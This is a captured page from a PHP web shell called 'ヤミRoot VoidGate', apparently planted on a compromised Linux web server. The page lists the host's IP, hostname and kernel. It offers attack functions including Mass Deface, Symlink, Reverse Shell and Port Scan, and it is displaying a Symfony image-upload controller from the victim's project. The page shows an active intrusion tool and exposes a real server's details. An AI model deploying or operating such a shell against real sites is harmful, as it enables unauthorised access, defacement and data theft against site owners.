ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: TestController.php
<?php // src/Controller/ProductController.php namespace AppBundle\Controller\Api; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\JsonResponse; use FOS\RestBundle\Controller\Annotations as Rest; use AppBundle\Utils\Uploader\FileUploader; class TestController extends AbstractController { /** * @Rest\Post("/images") * @Rest\View() */ public function new(Request $request) { $fileUploader = $this->get('file_uploader'); $file = $request->files->get('image'); $filePath = $fileUploader->upload($file); $fileUri = $request->getUriForPath($filePath); return new JsonResponse([ 'code'=>'200', 'message' => 'file created: '. $fileUri]); } /** * @return string */ private function generateUniqueFileName() { // md5() reduces the similarity of the file names generated by // uniqid(), which is based on timestamps return md5(uniqid()); } }
Coded With 💗 by
0x6ick